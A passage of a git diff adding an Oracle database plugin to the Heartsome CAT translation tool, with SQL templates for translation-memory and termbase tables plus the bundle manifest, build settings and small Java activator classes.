__DATABASE_NAME___MN ON __DATABASE_NAME___MNOTE + (PARENTID) + + + + + + + + + create table __DATABASE_NAME___MATRIX___LANG__ + ( + MPKID integer + not null, + TPKID integer not null, + NGRAM integer not null, + SEGSIZE + integer not null, + primary key (MPKID) + ) + + + + + CREATE INDEX IDX___DATABASE_NAME_____LANG___NGRAM ON + __DATABASE_NAME___MATRIX___LANG__ (NGRAM) + + CREATE INDEX IDX___DATABASE_NAME_____LANG___SEGSIZE ON + __DATABASE_NAME___MATRIX___LANG__ (SEGSIZE) + + + + + INSERT INTO __DATABASE_NAME___MATRIX___LANG__ + (MPKID,TPKID,NGRAM,SEGSIZE) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL,?,?,?) + + + DELETE FROM __DATABASE_NAME___MATRIX___LANG__ + WHERE __WHERE__ + + + + SELECT TPKID FROM __DATABASE_NAME___MATRIX___LANG__ + WHERE SEGSIZE + >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + GROUP BY (TPKID) + HAVING COUNT(TPKID) BETWEEN ? AND ? + + + + + + + SELECT B.GROUPID, LANG, PURE, CONTENT, + PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, + CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM + __DATABASE_NAME___TEXTDATA WHERE __WHERE__) A + LEFT JOIN + __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN + __DATABASE_NAME___MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND + B.LANG=? OR B.LANG=? + + + SELECT B.GROUPID, LANG, PURE, CONTENT, + PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, + CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM + __DATABASE_NAME___TEXTDATA WHERE TPKID=?) A + LEFT JOIN + __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN + __DATABASE_NAME___MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND + B.LANG=? OR B.LANG=? + + + BEGIN + INSERT INTO __DATABASE_NAME___MHEADER + (MHPKID, + CREATIONTOOL, CTVERSION, TMF, SRCLANG, ADMINLANG, DATATYPE, SEGTYPE, + CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, ENCODING) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? ) + RETURNING MHPKID INTO ?; + END; + + + INSERT INTO __DATABASE_NAME___MHEADERNODE + (MHNPKID,MHPKID, NNAME, NTYPE, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL,?, ?, ?, ?) + + + BEGIN + INSERT INTO __DATABASE_NAME___MTU + (MTUPKID, MHPKID, + TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, + CREATIONTOOL, + CTVERSION, CLIENT, PROJECTREF, JOBREF) + VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,?,?,?,?,?,?,?,?,?) + RETURNING + MTUPKID INTO ?; + END; + + + INSERT INTO __DATABASE_NAME___MEXTRA + (MEPKID, + PARENTNAME, PARENTID, NTYPE, NNAME, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?, ?, ?) + + + INSERT INTO __DATABASE_NAME___MPROP + (MPPKID, + PARENTNAME, PARENTID, PNAME, LANG, ENCODING, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?, ?, ?, ?) + + + INSERT INTO __DATABASE_NAME___MNOTE + (MNPKID, + PARENTNAME, PARENTID, CONTENT, CREATIONID, CREATIONDATE, CHANGEID, + CHANGEDATE, ENCODING, LANG) + VALUES (__DATABASE_NAME___SEQ.NEXTVAL, ?, + ?, ?, ?, ?, ?, ?, ?, ?) + + + INSERT INTO __DATABASE_NAME___LANG + (LANGCODE) + VALUES (?) + + + BEGIN + INSERT INTO __DATABASE_NAME___TEXTDATA + (TPKID, + TYPE, GROUPID, HASH, PURE, CONTENT, LANG, PRECONTEXT, NEXTCONTEXT) + VALUES (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?, ?, ?, ?, ?, ?) + RETURNING TPKID INTO ?; + END; + + + + SELECT LANGCODE FROM __DATABASE_NAME___LANG WHERE + LANGCODE=? + + + SELECT LANGCODE FROM __DATABASE_NAME___LANG + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA WHERE + HASH=? AND LANG=? + AND TYPE=? + + + SELECT TPKID, CONTENT FROM + __DATABASE_NAME___TEXTDATA WHERE GROUPID=? AND TYPE=? AND LANG=? + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA + WHERE HASH=? AND + PRECONTEXT=? AND NEXTCONTEXT=? AND LANG=? AND TYPE=? + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA + WHERE TYPE=? AND LANG=? + + + SELECT + TPKID, PURE, CONTENT, LANG, PRECONTEXT, + NEXTCONTEXT + FROM + __DATABASE_NAME___TEXTDATA + WHERE TYPE=? AND GROUPID= ? + AND LANG=? + + + + SELECT GROUPID FROM + __DATABASE_NAME___TEXTDATA WHERE + TPKID=? + + + SELECT + MTUPKID,TUID,CREATIONID,CREATIONDATE,CHANGEID,CHANGEDATE,CREATIONTOOL,CTVERSION,CLIENT,PROJECTREF,JOBREF,MHPKID + FROM __DATABASE_NAME___MTU WHERE MTUPKID=? + + + SELECT + MTUPKID, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, CREATIONTOOL, + CTVERSION, CLIENT, PROJECTREF, + JOBREF, MHPKID + FROM + (SELECT DISTINCT GROUPID + FROM + __DATABASE_NAME___TEXTDATA + WHERE TPKID IN (__SET__)) A + LEFT JOIN + __DATABASE_NAME___MTU B + ON B.MTUPKID=A.GROUPID + + + SELECT MEPKID, NTYPE, NNAME, CONTENT, PARENTNAME, + PARENTID + FROM __DATABASE_NAME___MEXTRA WHERE PARENTID=? AND + PARENTNAME=? AND + NTYPE=? + + + SELECT + MNPKID, PARENTNAME, PARENTID, CONTENT, + CREATIONID, CREATIONDATE, CHANGEID, + CHANGEDATE, ENCODING, LANG + FROM + __DATABASE_NAME___MNOTE WHERE PARENTNAME=? AND PARENTID = ? + + + SELECT MTUPKID, TUID ,CHANGEID, CHANGEDATE, + PRECONTEXT, NEXTCONTEXT FROM + __DATABASE_NAME___MTU + INNER JOIN + __DATABASE_NAME___TEXTDATA ON MTUPKID = GROUPID AND HASH = ? + AND LANG + = ? AND TYPE = ? + + + SELECT + MTUPKID, TUID, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, + CTVERSION, CLIENT, + PROJECTREF, JOBREF, MHPKID + FROM + __DATABASE_NAME___MTU + INNER JOIN + __DATABASE_NAME___TEXTDATA + ON MTUPKID = GROUPID + AND HASH = ? AND LANG = + ? AND TYPE = ? AND PRECONTEXT=? AND + NEXTCONTEXT=? + + + + SELECT + MPPKID, PARENTNAME, PARENTID, PNAME, LANG, + ENCODING, CONTENT + FROM + __DATABASE_NAME___MPROP WHERE PARENTID=? AND + PARENTNAME=? + + + SELECT CONTENT,MNPKID FROM + __DATABASE_NAME___MNOTE + WHERE PARENTID=? AND + PARENTNAME=? + + + UPDATE __DATABASE_NAME___MTU SET + CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CTVERSION=?,CLIENT=?,PROJECTREF=?,JOBREF=?,TUID=? + WHERE MTUPKID=? + + + UPDATE __DATABASE_NAME___MTU SET + TUID=?, CHANGEID=?, CHANGEDATE=? WHERE + MTUPKID=? + + + UPDATE __DATABASE_NAME___TEXTDATA SET + PRECONTEXT = ? , NEXTCONTEXT = ? + WHERE GROUPID = ? AND LANG = ? + + + UPDATE __DATABASE_NAME___MEXTRA + SET CONTENT=? + WHERE + MEPKID=? + + + UPDATE __DATABASE_NAME___MPROP + SET CONTENT=? + WHERE + MPPKID=? + + + + DELETE FROM __DATABASE_NAME___TEXTDATA + WHERE __WHERE__ + + + DELETE FROM __DATABASE_NAME___MPROP WHERE __WHERE__ + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE __WHERE__ + + + DELETE FROM __DATABASE_NAME___MEXTRA WHERE __WHERE__ + + + + + BEGIN + INSERT INTO __DATABASE_NAME___BMARTIFHEADER + (BMTHPKID, HID, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?) + RETURNING BMTHPKID INTO ?; + END; + + + BEGIN + INSERT INTO __DATABASE_NAME___BTERMENTRY + (BTEPKID, BMTHPKID, CID, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, + ?) + RETURNING BTEPKID INTO ?; + END; + + + INSERT INTO __DATABASE_NAME___BREFOBJECTLIST + (BROLPKID, BMTHPKID, ROLID, CONTENT) + VALUES ( + __DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?) + + + INSERT INTO __DATABASE_NAME___BATTRIBUTE + (BAPKID, + BMTHPKID, ANAME, AVALUE, PARENTNAME) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL, ?, ?, ?, ?) + + + INSERT INTO __DATABASE_NAME___BNODE + (NPKID, PARENTPKID, + PARENTNAME, NTYPE, NNAME, NID, CONTENT) + VALUES + (__DATABASE_NAME___SEQ.NEXTVAL,?, ?, ?, ?, ?, ?) + + + + SELECT BTEPKID FROM + __DATABASE_NAME___BTERMENTRY WHERE + CONTENT =? + + + SELECT BTEPKID, BMTHPKID, CID, CONTENT + FROM + __DATABASE_NAME___BTERMENTRY + WHERE BTEPKID=? + + + SELECT CONTENT + FROM + __DATABASE_NAME___BTERMENTRY WHERE BTEPKID=? + + + SELECT BTEPKID, BMTHPKID, CID, CONTENT + FROM + __DATABASE_NAME___BTERMENTRY WHERE BTEPKID=? + + + SELECT NPKID, PARENTPKID, PARENTNAME, NTYPE, NNAME, + NID, CONTENT + FROM __DATABASE_NAME___BNODE WHERE 1=1 __WHERE__ + + + + UPDATE __DATABASE_NAME___BTERMENTRY + SET CONTENT = + ? + WHERE BTEPKID = ? + + + + DELETE FROM __DATABASE_NAME___TEXTDATA WHERE + GROUPID=? AND LANG =? AND + TYPE='B' + + + DELETE FROM __DATABASE_NAME___BNODE WHERE NPKID=? + + + SELECT DISTINCT(LANG) FROM + __DATABASE_NAME___TEXTDATA WHERE GROUPID = ? + + + + + + SELECT DISTINCT(MTUPKID) FROM __DATABASE_NAME___MTU A + LEFT JOIN __DATABASE_NAME___MNOTE B ON B.PARENTID=A.MTUPKID + LEFT JOIN + __DATABASE_NAME___TEXTDATA C ON C.GROUPID = A.MTUPKID + WHERE 1=1 + __where__ + + + SELECT DISTINCT(MHPKID) FROM __DATABASE_NAME___MTU A + LEFT JOIN __DATABASE_NAME___MNOTE B ON B.PARENTID=A.MTUPKID + LEFT JOIN + __DATABASE_NAME___TEXTDATA C ON C.GROUPID = A.MTUPKID + WHERE 1=1 + __where__ + + + + SELECT DISTINCT(GROUPID) FROM + __DATABASE_NAME___TEXTDATA WHERE TYPE='B' AND + (__langwhere__) + __where__ + + + + DROP TABLE __DATABASE_NAME___BATTRIBUTE + + + DROP TABLE __DATABASE_NAME___BMARTIFHEADER + + + DROP TABLE __DATABASE_NAME___BREFOBJECTLIST + + + DROP TABLE __DATABASE_NAME___BTERMENTRY + + + DROP TABLE __DATABASE_NAME___LANG + + + DROP TABLE __DATABASE_NAME___MEXTRA + + + DROP TABLE __DATABASE_NAME___MHEADER + + + DROP TABLE __DATABASE_NAME___MHEADERNODE + + + DROP TABLE __DATABASE_NAME___MNOTE + + + DROP TABLE __DATABASE_NAME___MPROP + + + DROP TABLE __DATABASE_NAME___MTU + + + DROP TABLE __DATABASE_NAME___TEXTDATA + + + DROP SEQUENCE __DATABASE_NAME___SEQ + + + DROP TABLE __DATABASE_NAME___BNODE + + + DROP TABLE __DATABASE_NAME___MATRIX___LANG__ + + + + + SELECT C.MTUPKID TUID,C.CREATIONID,C.CREATIONDATE, C.CHANGEID, + C.CHANGEDATE,D.MPPKID,B.LANG,__IGNORE_MARK__ + FROM (SELECT * FROM + __DATABASE_NAME___TEXTDATA WHERE __GROUPID_LIST__ + TYPE = 'M' + __LANGUAGE_LIST__) B + LEFT JOIN __DATABASE_NAME___MTU C ON B.GROUPID = + C.MTUPKID + LEFT JOIN __DATABASE_NAME___MPROP D ON B.GROUPID = + D.PARENTID AND + D.PARENTNAME = 'TU' AND D.PNAME = 'x-flag' AND + D.CONTENT LIKE + 'HS-Flag' + + + SELECT GROUPID FROM __DATABASE_TEXTDATA A + WHERE __GROUP__ __CONDITION__ + + + + SELECT B.GROUPID,B.LANG,__IGNORE_MARK__ + FROM (SELECT A.GROUPID FROM + __DATABASE_NAME___TEXTDATA A WHERE A.TYPE = + 'B' __CONDITION__) A + LEFT + JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID=B.GROUPID AND + B.TYPE='B' __LANGUAGE_LIST__ + + + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM + __DATABASE_NAME___TEXTDATA A + LEFT JOIN __DATABASE_NAME___TEXTDATA B ON + A.GROUPID=B.GROUPID AND + B.LANG=? AND B.TYPE='B' + LEFT JOIN + __DATABASE_NAME___BNODE C ON A.GROUPID = C.PARENTPKID AND + C.PARENTNAME = 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND + (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND + INSTR(?,LOWER(A.PURE)) > 0 AND + B.PURE IS NOT NULL + + + SELECT TPKID, GROUPID, PURE, CONTENT, PRECONTEXT, + NEXTCONTEXT FROM + __DATABASE_NAME___TEXTDATA WHERE __WHERE__ ORDER BY + GROUPID DESC + + + SELECT TPKID, PURE, CONTENT, CREATIONID, + CREATIONDATE, CHANGEID, + CHANGEDATE, PROJECTREF + FROM + __DATABASE_NAME___TEXTDATA A INNER JOIN __DATABASE_NAME___MTU B + ON + B.MTUPKID = A.GROUPID AND A.GROUPID = __GROUPID__ AND A.LANG = + '__LANG__' + + + + + + + SELECT + MHPKID, CREATIONTOOL, CTVERSION, TMF, SRCLANG, + ADMINLANG, DATATYPE, SEGTYPE, + CREATIONID, CREATIONDATE, CHANGEID, + CHANGEDATE, ENCODING + FROM + __DATABASE_NAME___MHEADER WHERE MHPKID =? + + + + DELETE FROM __DATABASE_NAME___MTU WHERE MTUPKID =? + + + + DELETE FROM __DATABASE_NAME___MTU WHERE + MTUPKID IN (_SET_) + + + UPDATE __DATABASE_NAME___MTU SET CHANGEDATE =? + WHERE MTUPKID=? + + + UPDATE __DATABASE_NAME___MTU SET CHANGEID =? + WHERE MTUPKID=? + + + + UPDATE __DATABASE_NAME___MTU SET + _COLUMN_NAME_ = ? + + + + UPDATE __DATABASE_NAME___MTU SET + _COLUMN_NAME_ = ? + WHERE MTUPKID IN (_SET_) + + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE + PARENTID=? AND + PARENTNAME=? + + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE + PARENTNAME=? AND PARENTID IN (_SET_) + + + UPDATE __DATABASE_NAME___MNOTE SET CONTENT=? + ,ENCODING=? ,LANG=? WHERE + MNPKID =? + + + + INSERT INTO __DATABASE_NAME___MNOTE + (PARENTNAME,PARENTID,CONTENT,ENCODING,LANG) VALUES + (?,?,?,?,?) + + + + BEGIN + INSERT INTO __DATABASE_NAME___MNOTE + (MNPKID,PARENTNAME,PARENTID,CONTENT,ENCODING,LANG) VALUES + (__DATABASE_NAME___SEQ.NEXTVAL,?,?,?,?,?) + RETURNING MNPKID INTO ?; + END; + + + + INSERT INTO __DATABASE_NAME___MNOTE + (MNPKID,PARENTNAME,PARENTID,CONTENT) VALUES + (__DATABASE_NAME___SEQ.NEXTVAL,?,?,?) + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE MNPKID =? + + + + UPDATE __DATABASE_NAME___MNOTE SET CONTENT = + ? WHERE CONTENT = ? + + + UPDATE __DATABASE_NAME___MNOTE SET + CONTENT = ? WHERE CONTENT = ? AND PARENTID IN (_SET_) + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE + CONTENT = ? + + + DELETE FROM __DATABASE_NAME___MNOTE WHERE + CONTENT = ? AND PARENTID IN(_SET_) + + + + + DELETE FROM __DATABASE_NAME___MPROP WHERE + PARENTID=? AND + PARENTNAME=? + + + + DELETE FROM __DATABASE_NAME___MPROP WHERE + PARENTNAME=? AND PARENTID IN (_SET_) + + + + UPDATE __DATABASE_NAME___MPROP SET PNAME=? + ,CONTENT=? WHERE MPPKID =? + + + BEGIN + INSERT INTO __DATABASE_NAME___MPROP (MPPKID,PARENTNAME + ,PARENTID,PNAME ,CONTENT) + VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,?,?) + RETURNING + MPPKID INTO ?; + END; + + + + INSERT INTO __DATABASE_NAME___MPROP (MPPKID,PARENTNAME + ,PARENTID,PNAME + ,CONTENT) + VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,?,?) + + + + DELETE FROM __DATABASE_NAME___MPROP WHERE MPPKID=? + + + + BEGIN + UPDATE __DATABASE_NAME___MPROP SET PNAME = ? + ,CONTENT = ? WHERE PNAME + =? AND to_char(CONTENT) = ?; + END; + + + BEGIN + UPDATE __DATABASE_NAME___MPROP SET PNAME + = ? ,CONTENT = ? WHERE PNAME + = ? AND to_char(CONTENT) = ? + AND PARENTID IN + (_SET_); + END; + + + DELETE FROM __DATABASE_NAME___MPROP WHERE PNAME + = ? AND to_char(CONTENT) = ? + + + DELETE FROM __DATABASE_NAME___MPROP WHERE + PNAME = ? AND to_char(CONTENT) = ? AND PARENTID IN + (_SET_) + + + + BEGIN + UPDATE __DATABASE_NAME___TEXTDATA SET HASH=? ,PURE + =? , + CONTENT =? + WHERE TPKID =?; + END; + + + + + UPDATE __DATABASE_NAME___TEXTDATA SET CONTENT = + TRIM(CONTENT) WHERE + LENGTH(to_char(CONTENT))<>LENGTH(TRIM(to_char(CONTENT))) + + + SELECT GROUPID ,CONTENT FROM __DATABASE_NAME___TEXTDATA + WHERE LANG = ? + + + + SELECT + TPKID, TYPE, GROUPID, HASH, PURE, + CONTENT, LANG, PRECONTEXT, NEXTCONTEXT + FROM + __DATABASE_NAME___TEXTDATA + WHERE GROUPID =? + AND LANG= ? + + + SELECT COUNT(GROUPID) AS TUVCOUNT FROM + __DATABASE_NAME___TEXTDATA WHERE + TYPE ='M' AND GROUPID =? + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA WHERE + GROUPID =? + + + + DELETE FROM __DATABASE_NAME___TEXTDATA WHERE TPKID=? + + + + DELETE FROM __DATABASE_NAME___TEXTDATA WHERE + TPKID IN (_SET_) + + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA WHERE LANG IN + (_LANG_SET_) AND GROUPID IN + (_SET_) + + + SELECT TPKID FROM __DATABASE_NAME___TEXTDATA WHERE LANG IN + (_LANG_SET_) + + + + + DELETE FROM __DATABASE_NAME___MEXTRA WHERE + PARENTID=? AND + PARENTNAME=? + + + DELETE FROM __DATABASE_NAME___MEXTRA WHERE + PARENTNAME=? AND PARENTID IN (_SET_) + + + + BEGIN + INSERT INTO __DATABASE_NAME___MEXTRA (MEPKID,PARENTNAME , + PARENTID ,NTYPE + ,NNAME,CONTENT) + VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,'A',?,?) + RETURNING MEPKID INTO ?; + END; + + + + INSERT INTO __DATABASE_NAME___MEXTRA (MEPKID,PARENTNAME , + PARENTID ,NTYPE + ,NNAME,CONTENT) + VALUES(__DATABASE_NAME___SEQ.NEXTVAL,?,?,'A',?,?) + + + DELETE FROM __DATABASE_NAME___MEXTRA WHERE + PARENTNAME = ? AND + PARENTID = ? AND NTYPE='A' AND + NNAME =? + + + UPDATE __DATABASE_NAME___MEXTRA SET CONTENT = + ? WHERE PARENTID = + ? AND NNAME = ? AND + PARENTNAME=? + + + + UPDATE __DATABASE_NAME___MEXTRA SET CONTENT = ? WHERE + PARENTID = + ? AND NNAME = ? AND + PARENTNAME=? + + + + + SELECT MEPKID FROM __DATABASE_NAME___MEXTRA WHERE + NNAME = ? AND NTYPE =? AND PARENTNAME=? AND PARENTID =? + + + + + DELETE FROM __DATABASE_NAME___MEXTRA WHERE MEPKID IN(_SET_) + + + + + + DELETE FROM __DATABASE_NAME___LANG WHERE LANGCODE=? + + + + SELECT COUNT(LANG) FROM __DATABASE_NAME___TEXTDATA + WHERE LANG=? + + + + DELETE FROM __DATABASE_NAME___MATRIX___LANG__ + WHERE TPKID= ? + + + + DELETE FROM + __DATABASE_NAME___MATRIX___LANG__ WHERE TPKID IN (_SET_) + + + + + SELECT TABLE_TEMP.TUID AS + TUPKID,TABLE_TEMP.SRC_CONTENT AS + SRC,TABLE_TEMP.TGT_CONTENT AS + TGT,__DATABASE_NAME___MTU.CHANGEDATE AS CHANGE_DATE + FROM + (SELECT + SRC_TUID AS TUID, SRC_CONTENT ,TGT_CONTENT FROM + + (SELECT GROUPID AS + SRC_TUID ,CONTENT AS SRC_CONTENT FROM __DATABASE_NAME___TEXTDATA + WHERE + LANG=?) SRC_TABLE + + + ,(SELECT GROUPID AS TGT_TUID ,CONTENT AS + TGT_CONTENT FROM __DATABASE_NAME___TEXTDATA WHERE + LANG=? ) + TGT_TABLE + + WHERE SRC_TUID=TGT_TUID ) TABLE_TEMP + + ,__DATABASE_NAME___MTU WHERE + TABLE_TEMP.TUID + =__DATABASE_NAME___MTU.MTUPKID + + + + + SELECT TABLE_TEMP.TUID AS + TUPKID,TABLE_TEMP.SRC_CONTENT AS + SRC,TABLE_TEMP.TGT_CONTENT AS + TGT,__DATABASE_NAME___MTU.CHANGEDATE AS CHANGE_DATE + FROM + (SELECT + SRC_TUID AS TUID, SRC_CONTENT ,TGT_CONTENT FROM + + (SELECT GROUPID AS + SRC_TUID ,PURE AS SRC_CONTENT FROM __DATABASE_NAME___TEXTDATA WHERE + LANG=?) SRC_TABLE + + + ,(SELECT GROUPID AS TGT_TUID ,PURE AS TGT_CONTENT + FROM __DATABASE_NAME___TEXTDATA WHERE + LANG=? ) TGT_TABLE + + WHERE + SRC_TUID=TGT_TUID ) TABLE_TEMP + + ,__DATABASE_NAME___MTU WHERE + TABLE_TEMP.TUID =__DATABASE_NAME___MTU.MTUPKID + + + + + >>>>>>>>>过滤æ¡ä»¶æŸ¥è¯¢ 获å–æºæ–‡ä¸Žè¯‘文相åŒçš„tu 的主键 robert 2013-08-21 --> + + SELECT A.GROUPID AS ID from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE 1=1 ###WHERE### + + + SELECT A.GROUPID AS ID, A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG)=? AND LOWER(B.LANG) =? + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? ORDER BY TO_CHAR(A.###IGNORETAG###) + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? ORDER BY TO_CHAR(B.###IGNORETAG###) + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC, B.###IGNORETAG### AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? + + + SELECT A.GROUPID AS ID from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN __DATABASE_NAME___MNOTE C ON C.PARENTID = A.GROUPID + WHERE LOWER(A.LANG) = ? AND LOWER(B.LANG) = ? AND C.CONTENT IS NOT NULL + + + SELECT A.GROUPID AS ID, A.PURE AS SRC,B.PURE AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? AND LOWER(B.LANG) = ? + + + SELECT A.GROUPID AS ID, B.###IGNORETAG### AS TGT from __DATABASE_NAME___TEXTDATA A + INNER JOIN __DATABASE_NAME___TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? AND LOWER(B.LANG) = ? + + + + diff --git a/database/net.heartsome.cat.database.oracle/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.oracle/META-INF/MANIFEST.MF new file mode 100644 index 0000000..d50c32b --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database Oracle +Bundle-SymbolicName: net.heartsome.cat.database.oracle +Bundle-Version: 8.0.3.R8b_v20140106 +Bundle-Activator: net.heartsome.cat.database.oracle.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: lib/ojdbc14.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.oracle/build.properties b/database/net.heartsome.cat.database.oracle/build.properties new file mode 100644 index 0000000..81d84e9 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/ojdbc14.jar,\ + Configure/ diff --git a/database/net.heartsome.cat.database.oracle/lib/ojdbc14.jar b/database/net.heartsome.cat.database.oracle/lib/ojdbc14.jar new file mode 100644 index 0000000..fedce0b Binary files /dev/null and b/database/net.heartsome.cat.database.oracle/lib/ojdbc14.jar differ diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/Activator.java b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/Activator.java new file mode 100644 index 0000000..c3bf0ec --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.oracle; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.oracle"; + + // The shared instance + private static Activator plugin; + + // The oracle service registration + private ServiceRegistration oracleServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + oracleServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + oracleServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/DbServiceProviderImpl.java new file mode 100644 index 0000000..f5f3331 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/DbServiceProviderImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.oracle; + +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.DBOperator; + +public class DbServiceProviderImpl implements DBServiceProvider{ + + public SystemDBOperator getOperateDBInstance() { + return new OperateDBImpl(); + } + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/MetaDataImpl.java b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/MetaDataImpl.java new file mode 100644 index 0000000..93e985c --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/MetaDataImpl.java @@ -0,0 +1,12 @@ +package net.heartsome.cat.database.oracle; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + @Override + public boolean dataPathSupported() { + return false; + } + +} diff --git a/database/net.heartsome.cat.database.oracle/src/net/heartsome/cat/database/oracle/OperateDBImpl.java 